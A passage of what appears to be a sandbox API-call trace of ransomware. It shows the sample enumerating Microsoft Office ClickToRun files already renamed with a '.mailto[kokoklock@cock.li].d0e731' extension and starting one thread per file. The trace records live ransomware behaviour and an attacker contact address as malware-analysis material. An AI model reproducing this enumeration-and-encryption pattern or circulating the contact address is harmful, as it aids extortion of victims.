Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32mui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" [0173.935] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f8d3b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x944 [0173.935] FindNextFileW (in: hFindFile=0x3045768, lpFindFileData=0x2f9cb40 | out: lpFindFileData=0x2f9cb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed3d50b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed3d50b2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85ce75df, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4f4f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.office32ww.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="C27649~1.D0E")) returned 1 [0173.935] wcscmp (_String1="C2RManifest.office32ww.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0173.935] wcscmp (_String1="C2RManifest.office32ww.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0173.935] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x132) returned 0x2f8d4f0 [0173.936] wcscpy (in: _Dest=0x2f8d4f0, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0173.936] wcscat (in: _Dest=0x2f8d4f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0173.936] wcscat (in: _Dest=0x2f8d4f0, _Source="C2RManifest.office32ww.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32ww.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32ww.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" [0173.936] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f8d4f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x940 [0173.936] FindNextFileW (in: hFindFile=0x3045768, lpFindFileData=0x2f9cb40 | out: lpFindFileData=0x2f9cb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed31650e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed31650e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85c74fa4, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x19930, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.officemui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="C27B49~1.D0E")) returned 1 [0173.936] wcscmp (_String1="C2RManifest.officemui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0173.936] wcscmp (_String1="C2RManifest.officemui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0173.936] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x12e) returned 0x3046890 [0173.936] wcscpy (in: _Dest=0x3046890, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0173.936] wcscat (in: _Dest=0x3046890, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0173.937] wcscat (in: _Dest=0x3046890, _Source="C2RManifest.officemui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" [0173.937] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3046890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x93c [0173.937] FindNextFileW (in: hFindFile=0x3045768, lpFindFileData=0x2f9cb40 | out: lpFindFileData=0x2f9cb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2f02a6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed2f02a6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85aab3f2, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x8ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.officemuiset.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="C25296~1.D0E")) returned 1 [0173.937] wcscmp (_String1="C2RManifest.officemuiset.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0173.937] wcscmp (_String1="C2RManifest.officemuiset.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0173.937] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x134) returned 0x2f8d630 [0173.937] wcscpy (in: _Dest=0x2f8d630, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0173.937] wcscat (in: _Dest=0x2f8d630, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0173.937] wcscat (in: _Dest=0x2f8d630, _Source="C2RManifest.officemuiset.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemuiset.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemuiset.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" [0173.938] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f8d630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x938 [0173.938] FindNextFileW (in: hFindFile=0x3045768, lpFindFileData=0x2f9cb40 | out: lpFindFileData=0x2f9cb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2f02a6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed2f02a6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85b90142, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x17bfc, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="C2588E~1.D0E")) returned 1 [0173.938] wcscmp (_String1="C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0173.938] wcscmp (_String1="C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0173.938] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14a) returned 0x2f8d770 [0173.938] wcscpy (in: _Dest=0x2f8d770, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0173.938] wcscat (in: _Dest=0x2f8d770, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0173.938] wcscat (in: _Dest=0x2f8d770, _Source="C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" [0173.939] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f8d770, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x934 [0173.939] FindNextFileW (in: hFindFile=0x3045768, lpFindFileData=0x2f9cb40 | out: lpFindFileData=0x2f9cb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2ca0b4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed2ca0b4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x859c65a4, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4b0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.onenotemui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="C250AE~1.D0E")) returned 1 [0173.939] wcscmp (_String1="C2RManifest.onenotemui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0173.939] wcscmp (_String1="C2RManifest.onenotemui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0173.939] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x130) returned 0x3046620 [0173.939] wcscpy (in: _Dest=0x3046620, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0173.939] wcscat (in: _Dest=0x3046620, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0173.939] wcscat (in: _Dest=0x3046620, _Source="C2RManifest.onenotemui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.onenotemui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.onenotemui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" [0173.939] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3046620, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x930 [0173.940] FindNextFileW (in: hFindFile=0x3045768, lpFindFileData=0x2f9cb40 | out: lpFindFileData=0x2f9cb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2a3e81, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed2a3e81, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85c28b70, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x6b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="C2B174~1.D0E")) returned 1 [0173.940] wcscmp (_String1="C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0173.940] wcscmp (_String1="C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0173.940] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13a) returned 0x2f92b38 [0173.940] wcscpy (in: _Dest=0x2f92b38, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0173.940] wcscat (in: _Dest=0x2f92b38, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0173.940] wcscat (in: _Dest=0x2f92b38, _Source="C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" [0173.940] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f92b38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x92c [0173.941] FindNextFileW (in: hFindFile=0x3045768, lpFindFileData=0x2f9cb40 | out: lpFindFileData=0x2f9cb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2a3e81, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed2a3e81, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x859c65a4, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x2be8, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.osmmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="C29A33~1.D0E")) returned 1 [0173.941] wcscmp (_String1="C2RManifest.osmmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0173.941] wcscmp (_String1="C2RManifest.osmmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0173.941] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x128) returned 0x3046278 [0173.941] wcscpy (in: _Dest=0x3046278, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0173.941] wcscat (in: _Dest=0x3046278, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0173.941] wcscat (in: _Dest=0x3046278, _Source="C2RManifest.osmmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" [0173.941] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3046278, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6b0 [0173.942] FindNextFileW (in: hFindFile=0x3045768, lpFindFileData=0x2f9cb40 | out: lpFindFileData=0x2f9cb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed25796c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed25796c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x859ec7b9, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x9c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="C2DEF5~1.D0E")) returned 1 [0173.942] wcscmp (_String1="C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0173.942] wcscmp (_String1="C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0173.942] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x142) returned 0x2f92c80 [0173.942] wcscpy (in: _Dest=0x2f92c80, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0173.942] wcscat (in: _Dest=0x2f92c80, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0173.942] wcscat (in: _Dest=0x2f92c80, _Source="C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" [0173.942] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f92c80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6b4 [0173.943] FindNextFileW (in: hFindFile=0x3045768, lpFindFileData=0x2f9cb40 | out: lpFindFileData=0x2f9cb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed25796c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed25796c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85c4eeb8, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x2c4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.osmuxmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="C2876D~1.D0E")) returned 1 [0173.943] wcscmp (_String1="C2RManifest.osmuxmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0173.943] wcscmp (_String1="C2RManifest.osmuxmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0173.943] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x12c) returned 0x30469c8 [0173.943] wcscpy (in: _Dest=0x30469c8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0173.943] wcscat (in: _Dest=0x30469c8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0173.943] wcscat (in: _Dest=0x30469c8, _Source="C2RManifest.osmuxmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmuxmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmuxmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" [0173.943] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x30469c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6b8 [0173.943] FindNextFileW (in: hFindFile=0x3045768, lpFindFileData=0x2f9cb40 | out: lpFindFileData=0x2f9cb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed25796c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed25796c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85cc171b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x17254, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="C2382C~1.D0E")) returned 1 [0173.944] wcscmp (_String1="C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0173.944] wcscmp (_String1="C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0173.944] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14a) returned 0x2f92dd0 [0173.944] wcscpy (in: _Dest=0x2f92dd0, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0173.944] wcscat (in: _Dest=0x2f92dd0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0173.944] wcscat (in: _Dest=0x2f92dd0, _Source="C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" [0173.944] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f92dd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6bc [0173.944] FindNextFileW (in: hFindFile=0x3045768, lpFindFileData=0x2f9cb40 | out: lpFindFileData=0x2f9cb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed20b499, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed20b499, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85d0d814, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x17a44, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.outlookmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="C26EF3~1.D0E")) returned 1 [0173.944] wcscmp (_String1="C2RManifest.outlookmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0173.944] wcscmp (_String1="C2RManifest.outlookmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0173.945] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x130) returned 0x3045b28 [0173.945] wcscpy (in: _Dest=0x3045b28, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0173.945] wcscat (in: _Dest=0x3045b28, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0173.945] wcscat (in: _Dest=0x3045b28, _Source="C2RManifest.outlookmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.outlookmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.outlookmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" [0173.945] CreateThread 